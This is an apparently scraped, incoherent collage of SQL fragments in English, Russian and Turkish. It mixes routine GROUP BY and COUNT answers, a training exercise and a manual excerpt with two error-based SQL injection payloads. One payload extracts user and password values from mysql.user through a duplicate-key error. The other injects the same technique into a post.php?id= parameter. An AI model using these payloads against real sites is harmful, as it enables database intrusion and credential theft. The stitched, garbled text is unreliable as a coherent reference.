> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1), > 0x20, FLOOR(RAND(0)*2)) x > FROM information_schema.tables GROUP BY x; ERROR 1062 (23000)
How can I select count(*) from two different tables (call them tab1 and tab2) having as result: Count_1 Count_2 123 456.
select town, count(town) from user group by town. You can use most aggregate functions when using GROUP BY. Update (following change to question and comments). You can declare a variable for the number of users and set it to the number of users then select with that.
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SELECT maker, MAX(type) FROM product GROUP BY maker HAVING COUNT(DISTINCT type) = 1 AND COUNT(model) > 1. Задание: 15 (Serge I: 2003-02-03). Найдите размеры жестких дисков, совпадающих у двух и более PC. Вывести: HD.
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Tablo degerini taratıgımızda ; post.php?id= [ ] (select 1 from(select count(*),concat((select (select %Ethical%) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from. `information_schema`.tables group by x)a) and 1=1.
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The list of select_expr terms comprises the select list that indicates which columns to retrieve. Terms specify a column or expression or can use *-shorthand